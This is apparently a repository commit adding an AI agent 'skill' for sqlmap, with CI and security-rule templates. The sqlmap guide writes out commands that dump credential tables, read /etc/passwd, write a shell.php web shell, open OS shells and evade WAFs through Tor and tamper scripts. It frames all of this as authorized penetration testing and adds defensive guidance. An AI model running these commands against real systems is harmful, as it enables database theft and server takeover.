zhongwei/gh-agentsecops-secopsagentkit
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Initial commit

Browse Source
This commit is contained in:
Zhongwei Li
2025-11-29 17:51:02 +08:00
commit ff1f4bd119
252 changed files with 72682 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

464
skills/offsec/webapp-sqlmap/SKILL.md Normal file
View File

@@ -0,0 +1,464 @@
---
name: webapp-sqlmap
description: >
Automated SQL injection detection and exploitation tool for web application security testing.
Use when: (1) Testing web applications for SQL injection vulnerabilities in authorized assessments,
(2) Exploiting SQL injection flaws to demonstrate impact, (3) Extracting database information for
security validation, (4) Bypassing authentication mechanisms through SQL injection, (5) Identifying
vulnerable parameters in web requests, (6) Automating database enumeration and data extraction.
version: 0.1.0
maintainer: sirappsec@gmail.com
category: offsec
tags: [sqli, sql-injection, webapp, database-security, exploitation, sqlmap]
frameworks: [OWASP, CWE, MITRE-ATT&CK]
dependencies:
packages: [sqlmap, python3]
references:
- https://sqlmap.org/
- https://owasp.org/www-community/attacks/SQL_Injection
- https://cwe.mitre.org/data/definitions/89.html
---
# SQLMap - Automated SQL Injection Tool
## Overview
SQLMap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. This skill covers authorized security testing including vulnerability detection, database enumeration, data extraction, and authentication bypass.
**IMPORTANT**: SQL injection exploitation is invasive and can corrupt data. Only use SQLMap with proper written authorization on systems you own or have explicit permission to test.
## Quick Start
Basic SQL injection detection:
```bash
# Test single parameter
sqlmap -u "http://example.com/page?id=1"
# Test with POST data
sqlmap -u "http://example.com/login" --data="username=admin&password=test"
# Test from saved request file
sqlmap -r request.txt
# Detect and enumerate databases
sqlmap -u "http://example.com/page?id=1" --dbs
```
## Core Workflow
### SQL Injection Testing Workflow
Progress:
[ ] 1. Verify authorization for web application testing
[ ] 2. Identify potential injection points
[ ] 3. Detect SQL injection vulnerabilities
[ ] 4. Determine DBMS type and version
[ ] 5. Enumerate databases and tables
[ ] 6. Extract sensitive data (if authorized)
[ ] 7. Document findings with remediation guidance
[ ] 8. Clean up any test artifacts
Work through each step systematically. Check off completed items.
### 1. Authorization Verification
**CRITICAL**: Before any SQL injection testing:
- Confirm written authorization from application owner
- Verify scope includes web application security testing
- Understand data protection and handling requirements
- Document allowed testing windows
- Confirm backup and rollback procedures
### 2. Target Identification
Identify potential SQL injection points:
**GET Parameters**:
```bash
# Single URL with parameter
sqlmap -u "http://example.com/product?id=1"
# Multiple parameters
sqlmap -u "http://example.com/search?query=test&category=all&sort=name"
# Test all parameters
sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
```
**POST Requests**:
```bash
# POST data directly
sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
# From Burp Suite request file
sqlmap -r login_request.txt
# With additional headers
sqlmap -u "http://example.com/api" --data='{"user":"admin"}' --headers="Content-Type: application/json"
```
**Cookies and Headers**:
```bash
# Test cookies
sqlmap -u "http://example.com/" --cookie="sessionid=abc123; role=user"
# Test custom headers
sqlmap -u "http://example.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Test"
# Test specific injection point
sqlmap -u "http://example.com/" --cookie="sessionid=abc123*; role=user"
```
### 3. Detection and Fingerprinting
Detect SQL injection vulnerabilities:
```bash
# Basic detection
sqlmap -u "http://example.com/page?id=1"
# Aggressive testing (higher risk)
sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
# Specify technique
sqlmap -u "http://example.com/page?id=1" --technique=BEUSTQ
# Detect DBMS
sqlmap -u "http://example.com/page?id=1" --fingerprint
# Force specific DBMS
sqlmap -u "http://example.com/page?id=1" --dbms=mysql
```
**Injection Techniques**:
- **B**: Boolean-based blind
- **E**: Error-based
- **U**: UNION query-based
- **S**: Stacked queries
- **T**: Time-based blind
- **Q**: Inline queries
### 4. Database Enumeration
Enumerate database structure:
```bash
# List databases
sqlmap -u "http://example.com/page?id=1" --dbs
# Current database
sqlmap -u "http://example.com/page?id=1" --current-db
# List tables in database
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
# List columns in table
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
# Database users
sqlmap -u "http://example.com/page?id=1" --users
# Database user privileges
sqlmap -u "http://example.com/page?id=1" --privileges
```
### 5. Data Extraction
Extract data from database (authorized only):
```bash
# Dump specific table
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
# Dump specific columns
sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
# Dump all databases (use with caution)
sqlmap -u "http://example.com/page?id=1" --dump-all
# Exclude system databases
sqlmap -u "http://example.com/page?id=1" --dump-all --exclude-sysdbs
# Search for specific data
sqlmap -u "http://example.com/page?id=1" -D database_name --search -C password
```
### 6. Advanced Exploitation
Advanced SQL injection techniques:
**File System Access**:
```bash
# Read file from server
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
# Write file to server (very invasive)
sqlmap -u "http://example.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
```
**OS Command Execution** (requires stacked queries or out-of-band):
```bash
# Execute OS command
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami"
# Get OS shell
sqlmap -u "http://example.com/page?id=1" --os-shell
# Get SQL shell
sqlmap -u "http://example.com/page?id=1" --sql-shell
```
**Authentication Bypass**:
```bash
# Attempt to bypass login
sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --auth-type=Basic
# Test with authentication
sqlmap -u "http://example.com/page?id=1" --auth-cred="admin:password"
```
### 7. WAF Bypass and Evasion
Evade web application firewalls:
```bash
# Use tamper scripts
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
# Multiple tamper scripts
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between
# Random User-Agent
sqlmap -u "http://example.com/page?id=1" --random-agent
# Custom User-Agent
sqlmap -u "http://example.com/page?id=1" --user-agent="Mozilla/5.0..."
# Add delay between requests
sqlmap -u "http://example.com/page?id=1" --delay=2
# Use proxy
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
# Use Tor
sqlmap -u "http://example.com/page?id=1" --tor --check-tor
```
**Common Tamper Scripts**:
- `space2comment`: Replace space with comments
- `between`: Replace equals with BETWEEN
- `charencode`: URL encode characters
- `randomcase`: Random case for keywords
- `apostrophemask`: Replace apostrophe with UTF-8
- `equaltolike`: Replace equals with LIKE
## Security Considerations
### Authorization & Legal Compliance
- **Written Permission**: Obtain explicit authorization for SQL injection testing
- **Data Protection**: Handle extracted data per engagement rules
- **Scope Boundaries**: Only test explicitly authorized applications
- **Backup Verification**: Ensure backups exist before invasive testing
- **Production Systems**: Extra caution on production databases
### Operational Security
- **Rate Limiting**: Use --delay to avoid overwhelming applications
- **Session Management**: Save and resume sessions with --flush-session
- **Logging**: All SQLMap activity is logged to ~/.sqlmap/output/
- **Data Sanitization**: Redact sensitive data from reports
- **False Positives**: Verify findings manually
### Audit Logging
Document all SQL injection testing:
- Target URLs and parameters tested
- Injection techniques successful
- Databases and tables accessed
- Data extracted (summary only, not full data)
- Commands executed
- Tamper scripts and evasion used
### Compliance
- **OWASP Top 10**: A03:2021 - Injection
- **CWE-89**: SQL Injection
- **MITRE ATT&CK**: T1190 (Exploit Public-Facing Application)
- **PCI-DSS**: 6.5.1 - Injection flaws
- **ISO 27001**: A.14.2 Security in development
## Common Patterns
### Pattern 1: Basic Vulnerability Assessment
```bash
# Detect vulnerability
sqlmap -u "http://example.com/page?id=1" --batch
# Enumerate databases
sqlmap -u "http://example.com/page?id=1" --dbs --batch
# Get current user and privileges
sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch
```
### Pattern 2: Authentication Bypass Testing
```bash
# Test login form
sqlmap -u "http://example.com/login" \
--data="username=admin&password=test" \
--level=5 --risk=3 \
--technique=BE \
--batch
# Attempt to extract admin credentials
sqlmap -u "http://example.com/login" \
--data="username=admin&password=test" \
-D app_db -T users -C username,password --dump \
--batch
```
### Pattern 3: API Testing
```bash
# JSON API endpoint
sqlmap -u "http://api.example.com/user/1" \
--headers="Content-Type: application/json\nAuthorization: Bearer token123" \
--level=3 \
--batch
# REST API with POST
sqlmap -u "http://api.example.com/search" \
--data='{"query":"test","limit":10}' \
--headers="Content-Type: application/json" \
--batch
```
### Pattern 4: Comprehensive Enumeration
```bash
# Full enumeration (use with extreme caution)
sqlmap -u "http://example.com/page?id=1" \
--banner \
--current-user \
--current-db \
--is-dba \
--users \
--passwords \
--privileges \
--dbs \
--batch
```
## Integration Points
### Burp Suite Integration
```bash
# Save request from Burp Suite as request.txt
# Right-click request → "Copy to file"
# Test with SQLMap
sqlmap -r request.txt --batch
# Use Burp as proxy
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
```
### Reporting and Output
```bash
# Save session for later
sqlmap -u "http://example.com/page?id=1" -s output.sqlite
# Resume session
sqlmap -u "http://example.com/page?id=1" --resume
# Custom output directory
sqlmap -u "http://example.com/page?id=1" --output-dir="/path/to/results"
# Verbose output
sqlmap -u "http://example.com/page?id=1" -v 3
# Traffic log
sqlmap -u "http://example.com/page?id=1" -t traffic.log
```
## Troubleshooting
### Issue: False Positives
**Solutions**:
```bash
# Increase detection accuracy
sqlmap -u "http://example.com/page?id=1" --string="Welcome" --not-string="Error"
# Use specific technique
sqlmap -u "http://example.com/page?id=1" --technique=U
# Manual verification
sqlmap -u "http://example.com/page?id=1" --sql-query="SELECT version()"
```
### Issue: WAF Blocking Requests
**Solutions**:
```bash
# Use tamper scripts
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent
# Add delays
sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize
# Change HTTP method
sqlmap -u "http://example.com/page?id=1" --method=PUT
```
### Issue: Slow Performance
**Solutions**:
```bash
# Use threads (careful with application stability)
sqlmap -u "http://example.com/page?id=1" --threads=5
# Reduce testing scope
sqlmap -u "http://example.com/page?id=1" --level=1 --risk=1
# Test specific parameter only
sqlmap -u "http://example.com/page?id=1&name=test" -p id
```
## Defensive Considerations
Protect applications against SQL injection:
**Secure Coding Practices**:
- Use parameterized queries/prepared statements
- Employ ORM frameworks properly
- Validate and sanitize all user input
- Apply principle of least privilege to database accounts
- Disable error messages in production
**Web Application Firewall Rules**:
- Block common SQL injection patterns
- Implement rate limiting
- Monitor for suspicious query patterns
- Alert on multiple injection attempts
**Detection and Monitoring**:
- Log all database queries
- Monitor for unusual query patterns
- Alert on error-based injection attempts
- Detect time-based blind injection delays
- Monitor for UNION-based queries
## References
- [SQLMap Official Documentation](https://sqlmap.org/)
- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
- [SQLMap Tamper Scripts](https://github.com/sqlmapproject/sqlmap/tree/master/tamper)
- [PTES: Vulnerability Analysis](http://www.pentest-standard.org/index.php/Vulnerability_Analysis)

9
skills/offsec/webapp-sqlmap/assets/.gitkeep Normal file
View File

@@ -0,0 +1,9 @@
# Assets Directory
Place files that will be used in the output Claude produces:
- Templates
- Configuration files
- Images/logos
- Boilerplate code
These files are NOT loaded into context but copied/modified in output.

357
skills/offsec/webapp-sqlmap/assets/ci-config-template.yml Normal file
View File

@@ -0,0 +1,357 @@
# Security-Enhanced CI/CD Pipeline Template
#
# This template demonstrates security best practices for CI/CD pipelines.
# Adapt this template to your specific security tool and workflow needs.
#
# Key Security Features:
# - SAST (Static Application Security Testing)
# - Dependency vulnerability scanning
# - Secrets detection
# - Infrastructure-as-Code security scanning
# - Container image scanning
# - Security artifact uploading for compliance
name: Security Scan Pipeline
on:
push:
branches: [main, develop]
pull_request:
branches: [main, develop]
schedule:
# Run weekly security scans on Sunday at 2 AM UTC
- cron: '0 2 * * 0'
workflow_dispatch: # Allow manual trigger
# Security: Restrict permissions to minimum required
permissions:
contents: read
security-events: write # For uploading SARIF results
pull-requests: write # For commenting on PRs
env:
# Configuration
SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities
REPORT_DIR: 'security-reports'
jobs:
# Job 1: Static Application Security Testing (SAST)
sast-scan:
name: SAST Security Scan
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0 # Full history for better analysis
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.11'
- name: Run SAST Scanner
run: |
# Example: Using Semgrep for SAST
pip install semgrep
semgrep --config=auto \
--json \
--output ${{ env.REPORT_DIR }}/sast-results.json \
. || true
# Alternative: Bandit for Python projects
# pip install bandit
# bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json
- name: Process SAST Results
run: |
# Parse results and fail on critical/high severity
python3 -c "
import json
import sys
with open('${{ env.REPORT_DIR }}/sast-results.json') as f:
results = json.load(f)
critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR'])
high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING'])
print(f'Critical findings: {critical}')
print(f'High findings: {high}')
if critical > 0:
print('❌ Build failed: Critical security issues found')
sys.exit(1)
elif high > 0:
print('⚠️ Warning: High severity issues found')
# Optionally fail on high severity
# sys.exit(1)
else:
print('✅ No critical security issues found')
"
- name: Upload SAST Results
if: always()
uses: actions/upload-artifact@v4
with:
name: sast-results
path: ${{ env.REPORT_DIR }}/sast-results.json
retention-days: 30
# Job 2: Dependency Vulnerability Scanning
dependency-scan:
name: Dependency Vulnerability Scan
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.11'
- name: Scan Python Dependencies
if: hashFiles('requirements.txt') != ''
run: |
pip install safety
safety check \
--json \
--output ${{ env.REPORT_DIR }}/safety-results.json \
|| true
- name: Scan Node Dependencies
if: hashFiles('package.json') != ''
run: |
npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true
- name: Process Dependency Results
run: |
# Check for critical vulnerabilities
if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then
critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))")
echo "Critical vulnerabilities: $critical_count"
if [ "$critical_count" -gt "0" ]; then
echo "❌ Build failed: Critical vulnerabilities in dependencies"
exit 1
fi
fi
- name: Upload Dependency Scan Results
if: always()
uses: actions/upload-artifact@v4
with:
name: dependency-scan-results
path: ${{ env.REPORT_DIR }}/
retention-days: 30
# Job 3: Secrets Detection
secrets-scan:
name: Secrets Detection
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0 # Full history to scan all commits
- name: Run Gitleaks
uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITLEAKS_ENABLE_SUMMARY: true
- name: Alternative - TruffleHog Scan
if: false # Set to true to enable
run: |
pip install truffleHog
trufflehog --json --regex --entropy=True . \
> ${{ env.REPORT_DIR }}/trufflehog-results.json || true
- name: Upload Secrets Scan Results
if: always()
uses: actions/upload-artifact@v4
with:
name: secrets-scan-results
path: ${{ env.REPORT_DIR }}/
retention-days: 30
# Job 4: Container Image Scanning
container-scan:
name: Container Image Security Scan
runs-on: ubuntu-latest
if: hashFiles('Dockerfile') != ''
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker Image
run: |
docker build -t app:${{ github.sha }} .
- name: Run Trivy Scanner
uses: aquasecurity/trivy-action@master
with:
image-ref: app:${{ github.sha }}
format: 'sarif'
output: '${{ env.REPORT_DIR }}/trivy-results.sarif'
severity: 'CRITICAL,HIGH'
- name: Upload Trivy Results to GitHub Security
if: always()
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif'
- name: Upload Container Scan Results
if: always()
uses: actions/upload-artifact@v4
with:
name: container-scan-results
path: ${{ env.REPORT_DIR }}/
retention-days: 30
# Job 5: Infrastructure-as-Code Security Scanning
iac-scan:
name: IaC Security Scan
runs-on: ubuntu-latest
if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != ''
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Run Checkov
run: |
pip install checkov
checkov -d . \
--output json \
--output-file ${{ env.REPORT_DIR }}/checkov-results.json \
--quiet \
|| true
- name: Run tfsec (for Terraform)
if: hashFiles('**/*.tf') != ''
run: |
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
tfsec . \
--format json \
--out ${{ env.REPORT_DIR }}/tfsec-results.json \
|| true
- name: Process IaC Results
run: |
# Fail on critical findings
if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then
critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))")
echo "Failed checks: $critical_count"
if [ "$critical_count" -gt "0" ]; then
echo "⚠️ Warning: IaC security issues found"
# Optionally fail the build
# exit 1
fi
fi
- name: Upload IaC Scan Results
if: always()
uses: actions/upload-artifact@v4
with:
name: iac-scan-results
path: ${{ env.REPORT_DIR }}/
retention-days: 30
# Job 6: Security Report Generation and Notification
security-report:
name: Generate Security Report
runs-on: ubuntu-latest
needs: [sast-scan, dependency-scan, secrets-scan]
if: always()
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Download All Scan Results
uses: actions/download-artifact@v4
with:
path: all-results/
- name: Generate Consolidated Report
run: |
# Consolidate all security scan results
mkdir -p consolidated-report
cat > consolidated-report/security-summary.md << 'EOF'
# Security Scan Summary
**Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC")
**Commit**: ${{ github.sha }}
**Branch**: ${{ github.ref_name }}
## Scan Results
### SAST Scan
See artifacts: `sast-results`
### Dependency Scan
See artifacts: `dependency-scan-results`
### Secrets Scan
See artifacts: `secrets-scan-results`
### Container Scan
See artifacts: `container-scan-results`
### IaC Scan
See artifacts: `iac-scan-results`
---
For detailed results, download scan artifacts from this workflow run.
EOF
- name: Comment on PR (if applicable)
if: github.event_name == 'pull_request'
uses: actions/github-script@v7
with:
script: |
const fs = require('fs');
const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8');
github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: report
});
- name: Upload Consolidated Report
if: always()
uses: actions/upload-artifact@v4
with:
name: consolidated-security-report
path: consolidated-report/
retention-days: 90
# Security Best Practices Demonstrated:
#
# 1. ✅ Minimal permissions (principle of least privilege)
# 2. ✅ Multiple security scan types (defense in depth)
# 3. ✅ Fail-fast on critical findings
# 4. ✅ Secrets detection across full git history
# 5. ✅ Container image scanning before deployment
# 6. ✅ IaC scanning for misconfigurations
# 7. ✅ Artifact retention for compliance audit trail
# 8. ✅ SARIF format for GitHub Security integration
# 9. ✅ Scheduled scans for continuous monitoring
# 10. ✅ PR comments for developer feedback
#
# Compliance Mappings:
# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging)
# - PCI-DSS: 6.2, 6.5 (Secure development practices)
# - NIST: SA-11 (Developer Security Testing)
# - OWASP: Integrated security testing throughout SDLC

355
skills/offsec/webapp-sqlmap/assets/rule-template.yaml Normal file
View File

@@ -0,0 +1,355 @@
# Security Rule Template
#
# This template demonstrates how to structure security rules/policies.
# Adapt this template to your specific security tool (Semgrep, OPA, etc.)
#
# Rule Structure Best Practices:
# - Clear rule ID and metadata
# - Severity classification
# - Framework mappings (OWASP, CWE)
# - Remediation guidance
# - Example vulnerable and fixed code
rules:
# Example Rule 1: SQL Injection Detection
- id: sql-injection-string-concatenation
metadata:
name: "SQL Injection via String Concatenation"
description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries"
severity: "HIGH"
category: "security"
subcategory: "injection"
# Security Framework Mappings
owasp:
- "A03:2021 - Injection"
cwe:
- "CWE-89: SQL Injection"
mitre_attack:
- "T1190: Exploit Public-Facing Application"
# Compliance Standards
compliance:
- "PCI-DSS 6.5.1: Injection flaws"
- "NIST 800-53 SI-10: Information Input Validation"
# Confidence and Impact
confidence: "HIGH"
likelihood: "HIGH"
impact: "HIGH"
# References
references:
- "https://owasp.org/www-community/attacks/SQL_Injection"
- "https://cwe.mitre.org/data/definitions/89.html"
- "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
# Languages this rule applies to
languages:
- python
- javascript
- java
- go
# Detection Pattern (example using Semgrep-style syntax)
pattern-either:
- pattern: |
cursor.execute($SQL + $VAR)
- pattern: |
cursor.execute(f"... {$VAR} ...")
- pattern: |
cursor.execute("..." + $VAR + "...")
# What to report when found
message: |
Potential SQL injection vulnerability detected. SQL query is constructed using
string concatenation or f-strings with user input. This allows attackers to
inject malicious SQL code.
Use parameterized queries instead:
- Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
- JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId])
See: https://owasp.org/www-community/attacks/SQL_Injection
# Suggested fix (auto-fix if supported)
fix: |
Use parameterized queries with placeholders
# Example vulnerable code
examples:
- vulnerable: |
# Vulnerable: String concatenation
user_id = request.GET['id']
query = "SELECT * FROM users WHERE id = " + user_id
cursor.execute(query)
- fixed: |
# Fixed: Parameterized query
user_id = request.GET['id']
query = "SELECT * FROM users WHERE id = ?"
cursor.execute(query, (user_id,))
# Example Rule 2: Hardcoded Secrets Detection
- id: hardcoded-secret-credential
metadata:
name: "Hardcoded Secret or Credential"
description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code"
severity: "CRITICAL"
category: "security"
subcategory: "secrets"
owasp:
- "A07:2021 - Identification and Authentication Failures"
cwe:
- "CWE-798: Use of Hard-coded Credentials"
- "CWE-259: Use of Hard-coded Password"
compliance:
- "PCI-DSS 8.2.1: Use of strong cryptography"
- "SOC 2 CC6.1: Logical access controls"
- "GDPR Article 32: Security of processing"
confidence: "MEDIUM"
likelihood: "HIGH"
impact: "CRITICAL"
references:
- "https://cwe.mitre.org/data/definitions/798.html"
- "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
languages:
- python
- javascript
- java
- go
- ruby
pattern-either:
- pattern: |
password = "..."
- pattern: |
api_key = "..."
- pattern: |
secret = "..."
- pattern: |
token = "..."
pattern-not: |
$VAR = ""
message: |
Potential hardcoded secret detected. Hardcoding credentials in source code
is a critical security vulnerability that can lead to unauthorized access
if the code is exposed.
Use environment variables or a secrets management system instead:
- Python: os.environ.get('API_KEY')
- Node.js: process.env.API_KEY
- Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc.
See: https://cwe.mitre.org/data/definitions/798.html
examples:
- vulnerable: |
# Vulnerable: Hardcoded API key
api_key = "sk-1234567890abcdef"
api.authenticate(api_key)
- fixed: |
# Fixed: Environment variable
import os
api_key = os.environ.get('API_KEY')
if not api_key:
raise ValueError("API_KEY environment variable not set")
api.authenticate(api_key)
# Example Rule 3: XSS via Unsafe HTML Rendering
- id: xss-unsafe-html-rendering
metadata:
name: "Cross-Site Scripting (XSS) via Unsafe HTML"
description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities"
severity: "HIGH"
category: "security"
subcategory: "xss"
owasp:
- "A03:2021 - Injection"
cwe:
- "CWE-79: Cross-site Scripting (XSS)"
- "CWE-80: Improper Neutralization of Script-Related HTML Tags"
compliance:
- "PCI-DSS 6.5.7: Cross-site scripting"
- "NIST 800-53 SI-10: Information Input Validation"
confidence: "HIGH"
likelihood: "MEDIUM"
impact: "HIGH"
references:
- "https://owasp.org/www-community/attacks/xss/"
- "https://cwe.mitre.org/data/definitions/79.html"
- "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
languages:
- javascript
- typescript
- jsx
- tsx
pattern-either:
- pattern: |
dangerouslySetInnerHTML={{__html: $VAR}}
- pattern: |
innerHTML = $VAR
message: |
Potential XSS vulnerability detected. Setting HTML content directly from
user input without sanitization can allow attackers to inject malicious
JavaScript code.
Use one of these safe alternatives:
- React: Use {userInput} for automatic escaping
- DOMPurify: const clean = DOMPurify.sanitize(dirty);
- Framework-specific sanitizers
See: https://owasp.org/www-community/attacks/xss/
examples:
- vulnerable: |
// Vulnerable: Unsanitized HTML
function UserComment({ comment }) {
return <div dangerouslySetInnerHTML={{__html: comment}} />;
}
- fixed: |
// Fixed: Sanitized with DOMPurify
import DOMPurify from 'dompurify';
function UserComment({ comment }) {
const sanitized = DOMPurify.sanitize(comment);
return <div dangerouslySetInnerHTML={{__html: sanitized}} />;
}
# Example Rule 4: Insecure Cryptography
- id: weak-cryptographic-algorithm
metadata:
name: "Weak Cryptographic Algorithm"
description: "Detects use of weak or deprecated cryptographic algorithms"
severity: "HIGH"
category: "security"
subcategory: "cryptography"
owasp:
- "A02:2021 - Cryptographic Failures"
cwe:
- "CWE-327: Use of a Broken or Risky Cryptographic Algorithm"
- "CWE-326: Inadequate Encryption Strength"
compliance:
- "PCI-DSS 4.1: Use strong cryptography"
- "NIST 800-53 SC-13: Cryptographic Protection"
- "GDPR Article 32: Security of processing"
confidence: "HIGH"
likelihood: "MEDIUM"
impact: "HIGH"
references:
- "https://cwe.mitre.org/data/definitions/327.html"
- "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
languages:
- python
- javascript
- java
pattern-either:
- pattern: |
hashlib.md5(...)
- pattern: |
hashlib.sha1(...)
- pattern: |
crypto.createHash('md5')
- pattern: |
crypto.createHash('sha1')
message: |
Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are
considered cryptographically broken and should not be used for security purposes.
Use strong alternatives:
- For hashing: SHA-256, SHA-384, or SHA-512
- For password hashing: bcrypt, argon2, or PBKDF2
- Python: hashlib.sha256()
- Node.js: crypto.createHash('sha256')
See: https://cwe.mitre.org/data/definitions/327.html
examples:
- vulnerable: |
# Vulnerable: MD5 hash
import hashlib
hash_value = hashlib.md5(data).hexdigest()
- fixed: |
# Fixed: SHA-256 hash
import hashlib
hash_value = hashlib.sha256(data).hexdigest()
# Rule Configuration
configuration:
# Global settings
enabled: true
severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above
# Performance tuning
max_file_size_kb: 1024
exclude_patterns:
- "test/*"
- "tests/*"
- "node_modules/*"
- "vendor/*"
- "*.min.js"
# False positive reduction
confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher
# Rule Metadata Schema
# This section documents the expected structure for rules
metadata_schema:
required:
- id: "Unique identifier for the rule (kebab-case)"
- name: "Human-readable rule name"
- description: "What the rule detects"
- severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO"
- category: "security | best-practice | performance"
optional:
- subcategory: "Specific type (injection, xss, secrets, etc.)"
- owasp: "OWASP Top 10 mappings"
- cwe: "CWE identifier(s)"
- mitre_attack: "MITRE ATT&CK technique(s)"
- compliance: "Compliance standard references"
- confidence: "Detection confidence level"
- likelihood: "Likelihood of exploitation"
- impact: "Potential impact if exploited"
- references: "External documentation links"
# Usage Instructions:
#
# 1. Copy this template when creating new security rules
# 2. Update metadata fields with appropriate framework mappings
# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.)
# 4. Provide clear remediation guidance in the message field
# 5. Include both vulnerable and fixed code examples
# 6. Test rules on real codebases before deployment
#
# Best Practices:
# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK)
# - Include compliance standard references
# - Provide actionable remediation guidance
# - Show code examples (vulnerable vs. fixed)
# - Tune confidence levels to reduce false positives
# - Exclude test directories to reduce noise

550
skills/offsec/webapp-sqlmap/references/EXAMPLE.md Normal file
View File

@@ -0,0 +1,550 @@
# Reference Document Template
This file demonstrates how to structure detailed reference material that Claude loads on-demand.
**When to use this reference**: Include a clear statement about when Claude should consult this document.
For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns."
**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md.
---
## Table of Contents
**For documents >100 lines, always include a table of contents** to help Claude navigate quickly.
- [When to Use References](#when-to-use-references)
- [Document Organization](#document-organization)
- [Detailed Technical Content](#detailed-technical-content)
- [Security Framework Mappings](#security-framework-mappings)
- [OWASP Top 10](#owasp-top-10)
- [CWE Mappings](#cwe-mappings)
- [MITRE ATT&CK](#mitre-attck)
- [Remediation Patterns](#remediation-patterns)
- [Advanced Configuration](#advanced-configuration)
- [Examples and Code Samples](#examples-and-code-samples)
---
## When to Use References
**Move content from SKILL.md to references/** when:
1. **Content exceeds 100 lines** - Keep SKILL.md concise
2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings
3. **Advanced user content** - Deep technical details for expert users
4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists
5. **Language-specific patterns** - Separate files per language/framework
6. **Historical context** - Old patterns and deprecated approaches
**Keep in SKILL.md**:
- Core workflows (top 3-5 use cases)
- Decision points and branching logic
- Quick start guidance
- Essential security considerations
---
## Document Organization
### Structure for Long Documents
For references >100 lines:
```markdown
# Title
**When to use**: Clear trigger statement
**Purpose**: What this provides
## Table of Contents
- Links to all major sections
## Quick Reference
- Key facts or commands for fast lookup
## Detailed Content
- Comprehensive information organized logically
## Framework Mappings
- OWASP, CWE, MITRE ATT&CK references
## Examples
- Code samples and patterns
```
### Section Naming Conventions
- Use **imperative** or **declarative** headings
- ✅ "Detecting SQL Injection" not "How to detect SQL Injection"
- ✅ "Common Patterns" not "These are common patterns"
- Make headings **searchable** and **specific**
---
## Detailed Technical Content
